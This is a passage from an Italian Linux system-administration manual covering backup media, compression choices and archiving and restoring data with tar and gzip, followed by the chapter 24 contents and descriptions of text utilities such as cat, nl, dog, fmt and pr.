Il vantaggio di questo metodo sta nell'alleggerimento delle responsabilità dell'amministratore e nella soluzione più facile di piccoli problemi locali:

- se un gruppo di lavoro ha alterato i dati a causa di un'operazione errata, è sufficiente recuperare i dati di quel gruppo senza disturbare l'intero sistema;
- la distribuzione della responsabilità aumenta la consapevolezza da parte degli utenti.

23.4.7 Supporti

La scelta del supporto di conservazione della copia è importante e comporta alcune conseguenze:

- il costo;
- la disponibilità di unità in grado di utilizzarli;
- la facilità o difficoltà nel recupero di porzioni dei dati archiviati.

Si possono trovare unità di memorizzazione di massa di grandi capacità a prezzi ragionevolmente bassi, come i dischi fissi esterni (collegati attraverso la porta USB). Questi hanno il vantaggio di poter essere utilizzati come unità normali, pertanto, il recupero di dati parziali diventa molto più facile, anche quando la copia di sicurezza avviene per mezzo di un'archiviazione tradizionale. Per le copie che devono essere conservate in tempi lunghi, diventano convenienti i dischi ottici, data la loro economicità.

23.4.8 Compressione

Il problema della dimensione dei dati da archiviare può essere ridotto parzialmente con l'aiuto della compressione. La tecnica della compressione può essere applicata all'archiviazione in due modi possibili:

- prima della costruzione dell'archivio, ottenendo così un archivio di file compressi;
- dopo la costruzione dell'archivio, ottenendo così un archivio compresso.

La differenza è enorme. La compressione introduce un elemento di rischio maggiore nella perdita di dati: se una copia di sicurezza viene danneggiata parzialmente, l'effetto di questo danno si riflette in una quantità di dati maggiore (spesso è compromesso tutto l'archivio).

I programmi di archiviazione compressa maggiormente diffusi negli ambienti Dos utilizzano la tecnica della compressione prima dell'archiviazione. È questo il caso degli archivi '`.zip`', '`.arj`', '`.lzh`' e di altri ancora. Tale sistema ha il vantaggio di permettere una facile scansione dell'archivio alla ricerca di file da estrarre (e decomprimere) o un ampliamento dell'archivio in un momento successivo alla sua creazione. Un altro vantaggio è la minore sensibilità alla perdita dei dati: se una parte dell'archivio è danneggiato, dovrebbe essere possibile ripristinare almeno il resto. Lo svantaggio principale è che la compressione fatta in questo modo, a piccoli pezzi, non è molto efficiente.

La compressione fatta dopo l'archiviazione elimina ogni possibilità di accedere ai dati contenuti nell'archivio e di poterlo ampliare, se non dopo averlo decompresso. Questo significa anche che un danneggiamento parziale dell'archivio implica la perdita di tutti i dati da quel punto in poi.[9] Un altro tipo di problema deriva dalla difficoltà di distribuire un archivio compresso suddividendolo su più unità di memorizzazione. In questo caso però, l'efficienza della compressione è massima. Negli ambienti Unix, di fatto, è questa la scelta preferita.

23.5 Archiviazione e recupero attraverso tar e gzip

La coppia Tar e Gzip rappresenta lo standard nell'archiviazione dei dati: Tar genera un archivio non compresso che può comprendere anche collegamenti simbolici e file speciali; Gzip lo comprime generando un archivio più piccolo. La coppia funziona così bene che la versione GNU di Tar è in grado di utilizzare Gzip direttamente senza dover far uso di condotti, purché il risultato dell'archiviazione non debba essere suddiviso su più supporti. L'origine del nome Tar è *Tape archive*, ma questo programma permette ugualmente di gestire qualunque altro tipo di sistema di memorizzazione. La versione GNU di Tar (quella utilizzata normalmente nelle distribuzioni GNU/Linux), non memorizza percorsi assoluti. I programmi Tar e Gzip sono descritti rispettivamente nelle sezioni 22.13.2 e 22.14.1.

Negli esempi seguenti si immagina di dover archiviare il contenuto della directory '`~/lettere/`', equivalente a '`/home/tizio/lettere/`', comprese eventuali sottodirectory discendenti.

Negli esempi si cerca di utilizzare la forma tradizionale per l'indicazione delle opzioni standard di Tar. Alcune di queste possono fare a meno del trattino iniziale, come nel caso di '**`c`**' e '**`x`**'. Altre opzioni hanno quel trattino, ma possono essere aggregate in un'unica serie di lettere, come nel caso di '**`czvf`**', dove si ha l'unione di: '**`c`**', '**`-z`**', '**`-v`**' e '**`-f`**'.

23.5.1 Archiviazione diretta su dispositivi di memorizzazione

L'archiviazione attraverso la registrazione diretta sui dispositivi utilizza completamente il supporto di memorizzazione destinatario, anche se la quantità di dati da archiviare è molto piccola. Gli esempi che vengono proposti qui si rifanno a dispositivi di memorizzazione del passato, di capacità limitate, servendo oggi solo come casi estremi di utilizzo.

Quello sotto indicato è un esempio di archiviazione in un nastro magnetico singolo: l'opzione '**c**' sta per *Create*; '**f**' sta per *File* e permette di definire la destinazione dell'archiviazione; '**z**' attiva la compressione attraverso '**gzip**'. Dal momento che si utilizza la compressione, l'archiviazione multivolume non è ammissibile.

tar czf /dev/ftape ~/lettere [*Invio*]

I dischetti possono essere utilizzati come i nastri, in modo sequenziale, ma questo lo si fa soltanto quando l'archivio generato non è contenibile in un solo dischetto: si ha quindi una copia multivolume e in tal caso non è ammissibile l'uso della compressione.

tar cf /dev/fd0u1440 -M ~/lettere [*Invio*]

In questo caso, l'opzione '**-M**' sta proprio per *Multivolume* indicando quindi la possibilità che il supporto di destinazione non sia in grado di contenere l'intero archivio. In tal modo, Tar si prende cura di sospendere l'archiviazione ogni volta che viene raggiunta la capienza massima. Tar non è in grado di determinare da solo questa capacità, per cui, nell'esempio, il file di dispositivo dell'unità a dischetti è stato indicato in modo da riconoscerne la geometria, ma in alternativa si potrebbe utilizzare l'opzione '**-L**' seguita dalla dimensione:

tar cf /dev/fd0 -M -L 1440 ~/lettere [*Invio*]

Quando si utilizzano in questo modo, i dischetti non contengono un file system e di conseguenza non possono essere innestati. La lettura del loro contenuto avviene nello stesso modo della scrittura, attraverso il nome del dispositivo.

L'archiviazione su dischetti, attraverso l'indicazione del file di dispositivo, richiede comunque che questi siano già stati inizializzati (a basso livello) secondo il formato che viene indicato. Non conta che siano vuoti: è importante che ci siano le tracce e i settori come previsto.

23.5.2 Archiviazione normale su file

Quando l'archiviazione può essere fatta su dischi (con file system) di dimensione sufficiente a contenere l'archivio intero, invece di utilizzare l'opzione '**f**' per specificare un file di dispositivo, si può indicare direttamente un normalissimo file al loro interno, come nell'esempio seguente:

$ **tar cf /mnt/sdc1/lettere.tar ~/lettere** [*Invio*]

In pratica, nel caso appena visto, si utilizza un file system innestato nella directory '`/mnt/sdc1/`' e si crea il file '`lettere.tar`' al suo interno.

L'archiviazione compressa, con l'utilizzo di '**gzip**', può essere ottenuta semplicemente con l'opzione '**z**', come nell'esempio seguente:

$ **tar czf /mnt/sdc1/lettere.tar.gz ~/lettere** [*Invio*]

In tal caso l'estensione standard utilizzata (ma non obbligatoria) è '`.tar.gz`' che rende esplicito il fatto che la compressione è stata fatta dopo l'archiviazione. In alternativa si può usare anche '`.tgz`', diffusa nei sistemi Dos.

23.5.3 Archiviazione e percorsi

Gli esempi seguenti, pur archiviando gli stessi dati, mostrano un modo diverso di registrare i percorsi all'interno dell'archivio. La directory di lavoro nel momento in cui si avvia il comando, è '`/home/tizio/`', corrispondente alla directory personale dell'utente.

/home/tizio$ **tar czf /mnt/sdc1/lettere.tar.gz ~/lettere**[*Invio*]

/home/tizio$ **tar czf /mnt/sdc1/lettere.tar.gz /home/tizio/lettere**[*Invio*]

/home/tizio$ **tar czf /mnt/sdc1/lettere.tar.gz lettere**[*Invio*]

/home/tizio$ **tar czf /mnt/sdc1/lettere.tar.gz ./lettere**[*Invio*]

Nei primi due esempi, viene archiviata l'indicazione del percorso precedente, ma pur essendo stato dato in modo assoluto ('`/home/tizio/lettere`'), questo viene reso relativo da Tar, eliminando la prima barra obliqua che si riferisce alla directory radice. Questo comportamento riguarda almeno la realizzazione GNU di Tar. Negli ultimi due esempi, viene archiviata l'indicazione della sola directory '`lettere/`', sempre in modo relativo.

23.5.4 Archiviazione di periodi

I file sono forniti di informazioni orarie. In base a queste è possibile eseguire delle copie di sicurezza riferite a dei periodi. Le copie di sicurezza a più livelli possono essere ottenute in modo semplificato attraverso l'uso dell'opzione '**-N**' seguita da una data di partenza: si ottiene l'archiviazione di quanto variato a partire da una certa data; di solito si utilizza quella dell'ultima archiviazione completa. Il concetto di variazione, in questo caso, si deve intendere come variazione del contenuto o degli attributi. Quindi si tratta della data di modifica o della data di «creazione».

$ **tar czf /mnt/sdc1/lettere.tar.gz -N 20100801 ~/lettere**[*Invio*]

In questo caso, la data che segue l'opzione '**-N**' rappresenta la mezzanotte del primo agosto 2010.

$ **tar czf /mnt/sdc1/lettere.tar.gz -N "20100801 15:30" ~/lettere**[*Invio*]

Questo ultimo esempio aggiunge alla data l'indicazione di un'ora particolare, 15:30; per evitare che sia interpretato in maniera errata, il gruppo data-orario viene racchiuso tra virgolette.

23.5.5 Archiviazione limitata a un'unità

Quando si eseguono delle copie di sicurezza, è probabile che si voglia archiviare solo la situazione di una certa unità di memorizzazione (partizione o directory condivisa in rete). In tal caso si deve indicare precisamente questo limite con l'opzione '**-l**' (*Limit*).

23.5.6 Estrazione dei percorsi

Quando si accede all'archivio per estrarne il contenuto o per compararlo con i dati originali, entra in gioco il problema dei percorsi. I dati vengono estratti normalmente nella directory corrente, oppure vengono comparati utilizzando come punto di partenza la directory corrente. Quindi, se l'archivio contiene la directory degli esempi precedenti, registrati a partire dalla radice (ma come già spiegato, senza l'indicazione della radice stessa), questi vengono estratti in '`./home/tizio/lettere/`', oppure comparati con i dati contenuti a partire da questo percorso.

Se in fase di estrazione o comparazione si vuole fare riferimento a percorsi assoluti, si può utilizzare l'opzione '**-P**'. In questo modo si afferma esplicitamente che i percorsi indicati nell'archivio vanno considerati come discendenti dalla directory radice.

23.5.7 Recupero

Per poter effettuare un recupero di dati da un archivio è necessario conoscere in particolare il modo in cui questo è stato creato: normale, compresso, multivolume.

In generale, per recuperare dati da un archivio si utilizza l'opzione '**x**' (*Extract*) al posto di '**c**' e a essa si devono eventualmente aggiungere '**z**' nel caso di estrazione da un archivio compresso con '**gzip**' o '**-M**' nel caso di un archivio multivolume.

Durante il recupero di una copia di sicurezza è importante fare in modo che i dati riprodotti mantengano gli stessi attributi originali (permessi e proprietà). Per questo si aggiungono le opzioni '**-p**' (riproduce i permessi) e '**--same-owner**' (riproduce le proprietà: UID e GID).

L'esempio seguente mostra un recupero da un archivio multivolume su dischetti:

~$ **tar x -M -p --same-owner -f /dev/fd0u1440** [*Invio*]

L'esempio seguente mostra un recupero con percorso assoluto: i percorsi indicati all'interno dell'archivio vengono aggiunti alla directory radice:

$ **tar xz -P -p --same-owner -f /mnt/mo1/lettere.tar.gz** [*Invio*]

23.5.8 Recupero parziale

Il recupero parziale del contenuto di un archivio Tar può essere fatto per file singoli o per directory, oppure attraverso l'uso di caratteri jolly. In questo ultimo caso però, occorre fare attenzione a evitare che la shell esegua l'espansione: è compito di Tar determinare a cosa corrispondano all'interno dei suoi archivi. Questo è un po' quello che accade a Find con l'opzione '**-name**': è Find stesso ad analizzare i caratteri jolly.

Valgono le regole solite: l'asterisco rappresenta un insieme di caratteri qualunque; il punto interrogativo rappresenta un carattere qualsiasi; le parentesi quadre rappresentano un carattere a scelta tra un insieme o tra un intervallo determinato.

Quando si indicano nomi di file o directory, o quando si utilizzano i caratteri jolly, occorre tenere presente che si sta facendo riferimento ai dati contenuti nell'archivio, con i percorsi memorizzati originariamente. Inoltre, se con i caratteri jolly si determina la corrispondenza con una directory, si ottiene l'estrazione del contenuto complessivo di quella.

L'esempio seguente mostra in che modo potrebbero essere recuperate le lettere contenute nella directory '`home/tizio/lettere/nuove/`' (l'esempio appare diviso su due righe, a causa della sua lunghezza):

```
$ tar xz -P -p --same-owner -f /mnt/sdc1/lettere.tar.gz ↩
↪     home/tizio/lettere/nuove [Invio]
```

L'esempio seguente mostra l'estrazione di tutti i file e delle directory corrispondenti a '`home/tizio/lettere/ve*`'. Gli apici sono necessari per evitare che intervenga la shell a espandere l'asterisco, che invece deve essere interpretato da Tar.

```
$ tar xz -P -p --same-owner -f /mnt/sdc1/lettere.tar.gz ↩
↪     'home/tizio/lettere/ve*' [Invio]
```

23.5.9 Elenco e controllo

Per ottenere un elenco del contenuto di un archivio e per compararne il contenuto con i dati originali, valgono le stesse regole del recupero dei dati. In particolare, al posto dell'opzione '**`x`**' si deve utilizzare '**`t`**' (*List*) per gli elenchi e '**`d`**' (*Diff*) per la comparazione.

23.5.10 Archiviazione di un file system

L'archiviazione di un file system intero, va fatta considerando le caratteristiche di questo, in particolare della sua struttura fisica: partizioni e condivisione attraverso la rete. In generale dovrebbe essere conveniente l'archiviazione separata per ogni partizione e per ogni file system condiviso in rete.

Oltre a questo occorre evitare di archiviare anche l'archivio che si sta creando: quando la destinazione dell'archiviazione è un file, il file system che lo contiene deve essere innestato da qualche parte e per questo si potrebbe creare un circolo vizioso.

Ci sono directory che, per la loro natura, non conviene o non devono essere archiviate: per '`/tmp/`' non conviene; con '`/proc/`' e '`/sys/`' dei sistemi GNU/Linux non si deve. In questi casi serve solo ricordare di ricreare queste directory, nel momento in cui fosse necessario il recupero. Naturalmente non bisogna dimenticare i permessi: '`/tmp/`' 1777_8 e '`/proc/`' 0555_8.

23.5.11 Strumenti per il recupero

L'archiviazione di copie di sicurezza non è sufficiente a garantirsi contro gli incidenti: in che modo si può avviare un elaboratore in cui è appena stato sostituito il disco fisso? Evidentemente, occorre essere più previdenti e predisporre in anticipo gli strumenti necessari per preparare le partizioni di un nuovo disco fisso e per recuperare i dati archiviati precedentemente.

23.6 Riferimenti

- Brian Carrier, *Why Recovering a Deleted Ext3 File Is Difficult...*
  ⟨*http://linux.sys-con.com/node/117909* ⟩
- Paulo da Silva, *Delsafe*
  ⟨*http://web.archive.org/web/*/http://homepage.esoterica.pt/~nx0yew/delsafe* ⟩

[1] **Ext2 filesystem utilities** GNU GPL

[2] **The Sleuth Kit** IBM Public License ⟨*http://www.opensource.org/licenses/ibmpl.php* ⟩

[3] **Recover** GNU GPL

[4] **Foremost** In parte di dominio pubblico e in parte GNU GPL

[5] **Autopsy** GNU GPL

[6] **Delsafe** GNU GPL

[7] **E2undel** GNU GPL

[8] **Secure-delete** GNU GPL

[9] Ci sono programmi di archiviazione che si comportano così anche se non subiscono compressioni successive.

Capitolo 24

Programmi di servizio vari

24.1 Gestione dei file di testo 1270

24.1.1 Codice di interruzione di riga 1270
24.1.2 Spazi 1271

24.2 Riemissione completa di un file di testo 1271

24.2.1 Utilizzo di «cat» 1271
24.2.2 Utilizzo di «tac» 1272
24.2.3 Utilizzo di «nl» 1272
24.2.4 Utilizzo di «od» 1274
24.2.5 Utilizzo di «rev» 1275
24.2.6 Utilizzo di «dog» 1275

24.3 Rimpaginazione di un file di testo 1275

24.3.1 Utilizzo di «fmt» 1276
24.3.2 Utilizzo di «pr» 1277
24.3.3 Utilizzo di «fold» 1278
24.3.4 Utilizzo di «column» 1278
24.3.5 Utilizzo di «colrm» 1279

24.4 Composizione 1279

24.4.1 Utilizzo di «col» e di «colcrt» 1279
24.4.2 Utilizzo di «ul» 1280

24.5 Estrazione parziale e statistiche 1281

24.5.1 Utilizzo di «head» 1281
24.5.2 Utilizzo di «tail» 1282
24.5.3 Utilizzo di «split» 1282
24.5.4 Utilizzo di «csplit» 1283
24.5.5 Utilizzo di «wc» 1285

24.6 Ordinamento di un file di testo 1286

24.6.1 Utilizzo di «sort» 1286
24.6.2 Utilizzo di «uniq» 1288
24.6.3 Utilizzo di «comm» 1288

24.7 Campi 1289

24.7.1 Utilizzo di «cut» 1289
24.7.2 Utilizzo di «paste» 1290
24.7.3 Utilizzo di «join» 1290

24.8 Conversione 1290

24.8.1 Utilizzo di «expand» 1291
24.8.2 Utilizzo di «unexpand» 1291

24.9 Traslitterazione o cancellazione di caratteri 1292

24.9.1 Rappresentazione dei caratteri in una stringa di «tr» 1293
24.9.2 Traslitterazione 1294
24.9.3 Cancellazione e compattamento 1294

24.10 Controlli sommari 1295

24.10.1 Utilizzo di «sum» 1295
24.10.2 Utilizzo di «cksum» 1295
24.10.3 Utilizzo di «md5sum» 1296
24.10.4 Utilizzo di «sha1sum» 1297

24.11 Lettura di file binari 1298

24.11.1 Utilizzo di «hexdump» o di «hd» 1298
24.11.2 Utilizzo di «hexcat» 1301

24.12 Differenze tra i file 1302

24.12.1 Creazione di un file di differenze con «diff» 1302
24.12.2 Applicazione delle modifiche con «patch» 1312

24.13 Elaborazioni matematiche 1318

24.13.1 Utilizzo di «factor» 1318
24.13.2 Utilizzo di «seq» 1318

24.14 Creazione e modifica di file di testo: VI 1321

24.14.1 Avvio 1321
24.14.2 Modalità di funzionamento 1322
24.14.3 Posizione attiva 1323
24.14.4 Moltiplicatori 1323
24.14.5 Inserimento 1323
24.14.6 Navigazione 1324
24.14.7 Modificatori 1326
24.14.8 Cancellazione 1327
24.14.9 Sostituzione 1328
24.14.10 Copia e spostamento di porzioni di testo 1329
24.14.11 Copia e spostamento con nome 1330
24.14.12 Ricerche 1331
24.14.13 Ricerche e sostituzioni 1332

24.14.14 Annullamento dell'ultimo comando 1333
24.14.15 Caricamento, salvataggio e conclusione 1333
24.14.16 Variabili 1334
24.14.17 Comandi particolari 1335
24.14.18 File di configurazione 1336
24.14.19 Problemi di portabilità 1336

24.15 File manager: Midnight Commander 1337

24.15.1 Funzionamento 1337
24.15.2 Avvio di Midnight Commander 1338
24.15.3 Uso del mouse 1338
24.15.4 Tastiera 1339
24.15.5 Menù 1340
24.15.6 Configurazione 1340
24.15.7 File system virtuali 1343

24.16 Mcedit: programma integrato per la gestione dei file di testo 1346

24.16.1 Avvio 1346
24.16.2 Configurazione 1347
24.16.3 Comandi comuni 1348
24.16.4 Blocchi di testo e le funzionalità di taglia-copia-incolla 1348
24.16.5 Composizione del testo 1349
24.16.6 Macro 1349
24.16.7 Ricerche e sostituzioni 1350
24.16.8 Collegamento «mcedit» e variabile di ambiente «EDITOR» 1351
24.16.9 Limiti di memoria 1351

24.17 Giochi e simili 1352

24.17.1 Banner 1352
24.17.2 Arithmetic 1353
24.17.3 Primes 1354
24.17.4 POM 1355
24.17.5 Worms 1355
24.17.6 Rain 1356
24.17.7 Fortune 1357
24.17.8 Worm 1357
24.17.9 Tetris 1358

24.18 Alternative nella distribuzione Debian 1359

24.18.1 Organizzazione particolare della distribuzione Debian 1359
24.18.2 Organizzare manualmente un sistema di alternative 1361

24.19 Tabelle riepilogative 1362

24.20 Riferimenti 1366

/etc/alternatives/ 1359 cat 1271 cksum 1295 col 1279 colcrt 1279 colrm 1279 column 1278 comm 1288 csplit 1283 cut 1289 diff 1302 dog 1275 expand 1291 factor 1318 fmt 1276 fold 1278 hd 1298 head 1281 hexcat 1301 hexdump 1298 join 1290 mc 1337 mcedit 1346 md5sum 1296 nl 1272 od 1274 paste 1290 patch 1312 pr 1277 rev 1275 seq 1318 sha1sum 1297 sort 1286 split 1282 sum 1295 tac 1272 tail 1282 tr 1292 ul 1280 unexpand 1291 uniq 1288 update-alternatives 1359 vi 1321 wc 1285 $EDITOR 1351 $PATCH_VERSION_CONTROL 1315 $SIMPLE_BACKUP_SUFFIX 1315 $VERSION_CONTROL 1315

24.1 Gestione dei file di testo

Un file di testo è quello che può essere letto così com'è senza bisogno di interpretazioni particolari. Il modo con cui questo file viene definito chiarisce anche il tipo di contenuto che può avere: testo puro, senza altre informazioni. I file di testo sono costituiti da una sequenza di caratteri e simboli, separata convenzionalmente in righe di lunghezze diseguali, la quale così deve essere terminata attraverso un codice particolare: quello che qui viene definito ***codice di interruzione di riga***.

24.1.1 Codice di interruzione di riga

Il codice di interruzione di riga cambia a seconda del sistema operativo. Negli ambienti Unix si usa il codice $0A_{16}$ che viene chiamato *<LF>*, negli ambienti Dos e derivati si utilizza la sequenza $0D0A_{16}$ corrispondente a *<CR><LF>*, mentre negli ambienti Mac si usa il codice $0D_{16}$ corrispondente a *<CR>*.

Quando si vuole fare riferimento al codice di interruzione di riga in modo astratto, cioè senza restare legati a un'architettura particolare del sistema operativo, si parla spesso di *new-line*. La convenzione per cui il termine *new-line* dovrebbe rappresentare idealmente ciò che si utilizza per interrompere una riga, non viene rispettata sempre. Generalmente, chi lavora con i sistemi Unix ignora il problema e utilizza il termine *new-line* per identificare il carattere *<LF>*, il quale ha invece un nome preciso: *line feed*.

Utilizzando un sistema GNU, il problema derivato dall'ambiguità tra il carattere *<LF>* e il concetto di *new-line*, non si manifesta; tuttavia, leggendo i documenti che utilizzano questa espressione, occorre fare attenzione, o almeno è il caso di porsi il dubbio sul significato di ciò che si intende. Pertanto, in questo documento si utilizza la definizione «codice di interruzione di riga», in modo da non lasciare dubbi.

24.1.2 Spazi

Nei file di testo, gli spazi sono un concetto prettamente visivo: quando si visualizza (o si stampa) un file si notano delle zone in cui non appaiono caratteri di alcun tipo. I caratteri attraverso i quali si ottengono questi spazi sono normalmente: lo spazio vero e proprio (30_{16}), la tabulazione (09_{16}) e il codice di interruzione di riga. Il modo con cui si ottiene una spaziatura dipende dal contesto. Ciò che conta è sapere distinguere tra spazio in senso generale e ***carattere spazio*** che è invece un codice particolare. A volte si utilizza il termine *blank*, o ***spazio lineare***, per indicare uno spazio in senso generale, dove di norma si intende fare riferimento indifferentemente a un numero imprecisato di caratteri spazio o tabulazione.

Il codice di interruzione di riga entra in gioco quando si ha a che fare con righe vuote. Una riga bianca, nel senso di *blank line*, può contenere spazi di vario genere (spazio e tabulazione) e poi deve essere conclusa da questo codice. Ma una riga vuota, *empty line*, contiene soltanto il codice di interruzione di riga.

24.2 Riemissione completa di un file di testo

Alcuni programmi per l'elaborazione di file di testo emettono lo stesso file fornito come input, eventualmente dopo un qualche tipo di elaborazione elementare. Il più semplice di questi programmi è '**cat**' che nella maggior parte dei casi viene utilizzato senza opzioni, per lo più con lo scopo di iniziare un condotto di programmi.

24.2.1 Utilizzo di «cat»

Il programma di servizio '**cat**'[1] emette, attraverso lo standard output, il contenuto dei file indicati come argomento, oppure quanto proviene dallo standard input, in pratica fa qualcosa di simile al comando '**TYPE**' del Dos:

cat [***opzioni***] ***file***...

cat [***opzioni***] < ***file***

Tabella 24.1. Alcune opzioni.

Opzione	Descrizione
`-b` `--number-nonblank`	Numera tutte le righe emesse, che non sono vuote, a partire da uno.
`-s` `--squeeze-blank`	Sostituisce le righe vuote multiple con una sola riga bianca.
`-v` `--show-nonprinting`	Sostituisce i caratteri non stampabili con una sigla che inizia con un accento circonflesso ('**^**') o con la sigla '**M-**' a seconda che si tratti di un codice con il primo bit a zero oppure a uno (si intende il bit più significativo). Sono esclusi i caratteri di tabulazione e i codici di interruzione di riga.

Opzione	Descrizione
`-E` `--show-ends`	Visualizza la fine di ogni riga aggiungendo il simbolo '**`$`**'.
`-T` `--show-tabs`	Mostra esplicitamente il carattere di tabulazione (<*HT*>) utilizzando il simbolo '**`^I`**'.
`-A` `--show-all`	Mostra tutti i simboli non stampabili. È equivalente a '**`-vET`**'.

24.2.2 Utilizzo di «tac»

Il programma di servizio '**`tac`**'[2] emette attraverso lo standard output il contenuto dei file forniti come argomento, oppure quanto proveniente dallo standard input, ma invertendo l'ordine delle righe:

`tac` [***opzioni***] ***file***...

`tac` [***opzioni***] < ***file***

Queste righe possono essere divise in base a un codice di interruzione di riga diverso dal solito, specificandolo attraverso l'opzione '**`-s`**'. In pratica, '**`tac`**' è l'inverso di '**`cat`**'.

Opzione	Descrizione
`-s` ***separatore*** `--separator=`***separatore***	Permette di definire il codice di interruzione di riga da prendere in considerazione.

24.2.3 Utilizzo di «nl»

Il programma di servizio '**`nl`**'[3] (*number line*) emette attraverso lo standard output il contenuto dei file forniti come argomento, oppure quanto proveniente dallo standard input, con l'aggiunta dei numeri di riga per alcune o tutte le righe dell'input:

`nl` [***opzioni***] ***file***...

`nl` [***opzioni***] < ***file***

Il conteggio delle righe viene fatto unendo il contenuto di tutti i file forniti come argomento, come se si trattasse di un file unico, azzerandolo ogni volta che viene riconosciuto l'inizio di una pagina logica. Sotto questo punto di vista, una pagina logica è composta da tre parti: testa, corpo e piede.

In condizioni normali, salvo altre indicazioni passate attraverso le opzioni, si individua la testa, il corpo e il piede, perché preceduti da una riga che contiene esattamente una stringa speciale:

- `\:\:\:`
  prima della testa;
- `\:\:`
  prima del corpo;
- `\:`
  prima del piede.

Per mostrare semplicemente il funzionamento del programma, viene proposto un file di testo puro contenente esattamente le righe seguenti:

```
\:\:\:
intestazione 1
intestazione 2
intestazione 3
\:\:
corpo 1
corpo 2
corpo 3
corpo 4
corpo 5
\:
piede 1
piede 2
piede 3
\:\:\:
intestazione 4
intestazione 5
intestazione 6
\:\:
corpo 6
corpo 7
corpo 8
corpo 9
corpo 10
\:
piede 4
piede 5
piede 6
```

Supponendo che il file abbia il nome '`prova.txt`', ecco cosa si ottiene con il comando seguente:

`$` **`nl prova.txt`** [*Invio*]

```

         intestazione 1
         intestazione 2
         intestazione 3

     1  corpo 1
     2  corpo 2
     3  corpo 3
     4  corpo 4
     5  corpo 5

         piede 1
         piede 2
         piede 3

         intestazione 4
         intestazione 5
         intestazione 6

     1  corpo 6
     2  corpo 7
     3  corpo 8
     4  corpo 9
     5  corpo 10

         piede 4
         piede 5
         piede 6
```

Si osservi in particolare che la prima riga è vuota, perché nel file di origine si trova in quella posizione la stringa di riconoscimento dell'inizio della testa.

Si veda eventualmente il documento *info nl* oppure la pagina di manuale *nl(1)*.

24.2.4 Utilizzo di «od»

Il programma di servizio '**`od`**'[4] converte i file forniti come input in ottale o in altri formati.

od [*opzioni*] *file*...

od [*opzioni*] < *file*

Si veda eventualmente il documento *info od* oppure la pagina di manuale *od(1)*.

24.2.5 Utilizzo di «rev»

Il programma di servizio '**rev**'[5] (*revert*) emette attraverso lo standard output il file fornito come argomento, invertendo l'ordine dei caratteri di ogni riga:

```
rev [file...]
```

24.2.6 Utilizzo di «dog»

Il programma di servizio '**dog**'[6] è una rivisitazione di '**cat**', a cui aggiunge in particolare la possibilità di accedere a URI esterni:

```
dog [opzioni] [-|file|uri]...
```

Vengono mostrati alcuni esempi.

- `$ ` **`dog prova.txt`** [*Invio*]

  Legge il file 'prova.txt' ed emette il suo contenuto attraverso lo standard output.

- `$ ` **`dog http://a2.brot.dg/prova.html`** [*Invio*]

  Preleva una copia di *http://a2.brot.dg/prova.html* ed emette l'esito attraverso lo standard output. La parte iniziale di ciò che si ottiene potrebbe apparire così:

  ```
  HTTP/1.0 200 OK
  Date: Tue, 21 Mar 2006 16:46:00 GMT
  Server: Apache/2.0.54 (Debian GNU/Linux) PHP/4.3.10-16
  Last-Modified: Wed, 15 Mar 2006 07:36:51 GMT
  ETag: "4d9a3f-3222-a39aeac0"
  Accept-Ranges: bytes
  Content-Length: 12834
  Connection: close
  Content-Type: text/html

  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
  <HTML LANG="it">
  ...
  ```

- `$ ` **`dog --no-header http://a2.brot.dg/prova.html > prova.html`** [*Invio*]

  Preleva una copia di *http://a2.brot.dg/prova.html* e la salva nel file 'prova.html'. L'uso dell'opzione '**--no-header**' serve a ottenere il file originale, senza l'aggiunta dell'intestazione che fa parte del protocollo HTTP.

Si veda la pagina di manuale *dog(1)*.

24.3 Rimpaginazione di un file di testo

Alcuni programmi si occupano di modificare l'impaginazione del testo, cambiandone la larghezza o aggiungendo delle intestazioni.

24.3.1 Utilizzo di «fmt»

Il programma di servizio '**fmt**'[7] (*format*) impagina il testo contenuto nei file forniti come argomento, eliminando e aggiungendo codici di interruzione di riga, in modo che il testo risulti al massimo di una data larghezza:

```
fmt [opzioni] [file...]
```

Il risultato viene emesso attraverso lo standard output. Se non si specifica l'ampiezza massima della riga, questa si intende essere di 75 caratteri.

A titolo di esempio, si suppone che il file 'prova.txt' contenga esattamente il testo seguente:

```
bla bla bla bla
bla bla bla bla
bla bla bla bla
bla bla bla bla
bla bla bla bla
bla bla bla bla
bla bla bla bla

bla bla bla bla
bla bla bla bla
bla bla bla bla
bla bla bla bla
bla bla bla bla
bla bla bla bla
bla bla bla bla
```

Con '**fmt**' si ottiene la rimpaginazione dei due blocchi:

$ **fmt prova.txt** [*Invio*]

```
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla

bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla
```

Opzione	Descrizione
`-w` ***ampiezza*** `--width=`***ampiezza***	Permette di specificare l'ampiezza massima del testo.

Si veda eventualmente il documento *info fmt* oppure la pagina di manuale *fmt(1)*.

24.3.2 Utilizzo di «pr»

Il programma di servizio '**`pr`**'[8] (*print*) emette attraverso lo standard output il contenuto dei file forniti come argomento, formattati opportunamente per la stampa:

```
pr [opzioni] [file...]
```

Se non viene indicato diversamente attraverso le opzioni:

- viene aggiunta un'intestazione di cinque righe, dove la terza di queste contiene l'informazione della data e dell'ora di stampa e anche del numero di pagina;
- viene aggiunto un piede di pagina di quattro righe bianche;
- il numero di righe per pagina è di 66;
- il carattere *<FF>* che fosse contenuto eventualmente nei file di input, genera un salto pagina.

Nel caso si utilizzino più colonne:

- le colonne hanno la stessa larghezza;
- sono separate da una stringa opzionale (il cui valore predefinito è uno spazio);
- le righe vengono troncate al raggiungimento della larghezza massima della colonna.

Tabella 24.12. Alcune opzioni.

Opzione	Descrizione
`+`***pagina_iniziale*** [`:`***pagina_finale***]	Seleziona l'intervallo di pagine indicato. Se manca la pagina finale, si intende che sia l'ultima.
`-`***numero_colonne***	Produce un risultato suddiviso nel numero di colonne indicato. L'ampiezza delle colonne viene calcolata automaticamente.
`-c`	Stampa i caratteri di controllo utilizzando la notazione: '**`^A`**', '**`^B`**',... I simboli comunque non stampabili vengono rappresentati in ottale: '**`\`*ooo***'.
`-d`	Raddoppia la spaziatura tra le righe (spaziatura doppia).
`-l` ***altezza_pagina***	Definisce l'altezza della pagina espressa in righe. Di solito la pagina è alta 66 righe.
`-o` ***margine_sinistro***	Definisce il margine sinistro espresso in caratteri.

Si veda eventualmente il documento *info pr* oppure la pagina di manuale *pr(1)*.

24.3.3 Utilizzo di «fold»

